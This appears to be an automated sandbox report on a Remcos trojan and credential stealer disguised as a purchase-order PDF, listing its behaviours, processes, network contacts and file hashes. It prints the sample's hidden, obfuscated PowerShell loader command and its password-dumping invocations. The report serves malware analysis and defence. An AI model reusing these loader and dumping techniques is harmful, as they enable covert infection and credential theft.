Malware Analysis Report

2025-01-02 03:11

Sample ID 240817-rjd39ssfkp
Target PURCHASE ORDER 03.05.2024.PDF.exe
SHA256 4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940
Tags
remcos remotehost collection credential_access discovery execution rat stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940

Threat Level: Known bad

The file PURCHASE ORDER 03.05.2024.PDF.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost collection credential_access discovery execution rat stealer

Remcos

NirSoft MailPassView

Credentials from Password Stores: Credentials from Web Browsers

NirSoft WebBrowserPassView

Detected Nirsoft tools

Command and Scripting Interpreter: PowerShell

Accesses Microsoft Outlook accounts

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of SetThreadContext

Drops file in Windows directory

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Program crash

NSIS installer

Suspicious use of SetWindowsHookEx

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-17 14:13

Signatures

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-17 14:13

Reported

2024-08-17 14:15

Platform

win7-20240729-en

Max time kernel

149s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe"

Signatures

Remcos

rat remcos

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Detected Nirsoft tools

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\albocarbon.ile C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1508 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2416 N/A C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2416 wrote to memory of 2752 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2416 wrote to memory of 2752 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2416 wrote to memory of 2752 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2416 wrote to memory of 2752 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2416 wrote to memory of 2752 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2416 wrote to memory of 2752 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1228 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1228 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1228 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1228 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1228 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1696 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1696 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1696 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1696 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 1696 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 2684 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 2684 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 2684 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 2684 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2752 wrote to memory of 2684 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe

"C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\akiij"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\lnotkrjr"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\nhtllkbtiuqo"

Network

Country Destination Domain Proto
VN 103.67.162.225:80 103.67.162.225 tcp
VN 103.67.162.233:9462 tcp
VN 103.67.162.233:9462 tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp

Files

memory/2416-7-0x0000000074541000-0x0000000074542000-memory.dmp

memory/2416-8-0x0000000074540000-0x0000000074AEB000-memory.dmp

memory/2416-11-0x0000000074540000-0x0000000074AEB000-memory.dmp

memory/2416-10-0x0000000074540000-0x0000000074AEB000-memory.dmp

memory/2416-9-0x0000000074540000-0x0000000074AEB000-memory.dmp

C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys

MD5 d9a344e48210c5d555312be94347270a
SHA1 8e1957cb5f8e181411781bca9fa72f57e8d0d2b1
SHA256 e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6
SHA512 ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853

memory/2416-14-0x0000000074540000-0x0000000074AEB000-memory.dmp

C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Sacrificed.Guf

MD5 e5923d356c8ca6e039eb3c12c3f8ce7a
SHA1 b920b2490fb5bbcefb281df27180eaa4f81825fc
SHA256 a3761e7a154e7defc78d9be7e003d327de84520afe5d8adc90074822ade75b65
SHA512 41af37685e04e272fe7b0b4e0dcb93b0ca6e33f930dc362ba82f93fa428ba0664ce06699c21ccb55a84c5e927d30415fe110cb6f35b1028d46f97d2f7ec95f4f

memory/2416-16-0x0000000074540000-0x0000000074AEB000-memory.dmp

memory/2416-17-0x00000000065F0000-0x000000000B465000-memory.dmp

memory/2416-18-0x0000000074540000-0x0000000074AEB000-memory.dmp

memory/2752-19-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-20-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-25-0x0000000000900000-0x0000000001962000-memory.dmp

memory/1228-28-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1228-29-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1228-30-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2684-34-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/2684-38-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1696-39-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2684-37-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1696-33-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1228-31-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1696-36-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2684-35-0x0000000000400000-0x0000000000424000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\akiij

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/2752-46-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-47-0x00000000003A0000-0x00000000003B9000-memory.dmp

memory/2752-50-0x00000000003A0000-0x00000000003B9000-memory.dmp

memory/2752-51-0x00000000003A0000-0x00000000003B9000-memory.dmp

memory/2752-54-0x0000000000900000-0x0000000001962000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 f241da8d811a651f6bc3039ea7f0fa0f
SHA1 9216eecc5cc5a9b0d929e361e15cffec90b26a76
SHA256 bc2cd89ab0eb0ceada3a93d699a4219571c55fd11a03de6a4dd79947e7bd8723
SHA512 33ee635461b1695bcccbda3cb33436353861603f6fdfd9c5230f34c4b9fa9f64c225e4234b6047c61bdc651839664adbe8e39c6a08300ec570262fa01d0a49e6

memory/2752-57-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-60-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-62-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-65-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-68-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-71-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-74-0x0000000000900000-0x0000000001962000-memory.dmp

memory/2752-78-0x0000000000900000-0x0000000001962000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-17 14:13

Reported

2024-08-17 14:15

Platform

win10v2004-20240802-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\albocarbon.ile C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe

"C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 812 -ip 812

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 812 -s 2732

Network

Country Destination Domain Proto
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

memory/812-5-0x000000007436E000-0x000000007436F000-memory.dmp

memory/812-6-0x0000000002C20000-0x0000000002C56000-memory.dmp

memory/812-7-0x0000000074360000-0x0000000074B10000-memory.dmp

memory/812-8-0x0000000005320000-0x0000000005948000-memory.dmp

memory/812-9-0x0000000005A80000-0x0000000005AA2000-memory.dmp

memory/812-10-0x0000000005B20000-0x0000000005B86000-memory.dmp

memory/812-11-0x0000000005B90000-0x0000000005BF6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dzfal3dg.dza.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/812-21-0x0000000005D80000-0x00000000060D4000-memory.dmp

memory/812-22-0x0000000006270000-0x000000000628E000-memory.dmp

memory/812-23-0x00000000062B0000-0x00000000062FC000-memory.dmp

memory/812-24-0x0000000007230000-0x00000000072C6000-memory.dmp

memory/812-25-0x00000000067B0000-0x00000000067CA000-memory.dmp

memory/812-26-0x0000000006800000-0x0000000006822000-memory.dmp

memory/812-27-0x0000000007880000-0x0000000007E24000-memory.dmp

C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys

MD5 d9a344e48210c5d555312be94347270a
SHA1 8e1957cb5f8e181411781bca9fa72f57e8d0d2b1
SHA256 e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6
SHA512 ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853

memory/812-29-0x00000000084B0000-0x0000000008B2A000-memory.dmp

memory/812-31-0x0000000074360000-0x0000000074B10000-memory.dmp